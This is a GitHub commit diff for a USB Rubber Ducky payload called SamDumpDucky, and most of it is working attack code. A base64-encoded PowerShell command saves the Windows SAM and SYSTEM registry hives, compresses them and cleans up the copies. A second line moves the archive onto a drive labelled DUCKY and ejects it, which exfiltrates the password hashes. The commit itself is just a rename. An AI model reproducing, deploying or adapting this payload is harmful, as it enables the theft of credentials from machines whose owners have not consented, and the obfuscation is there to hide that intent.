Rename SamDumpDucky/payload.txt to t

pull/167/head
0iphor13 2022-10-19 19:31:07 +02:00 committed by GitHub
parent c5b606c911
commit ab63a9cda6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -26,4 +26,4 @@ DELAY 1000
STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=
DELAY 500
STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit
STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit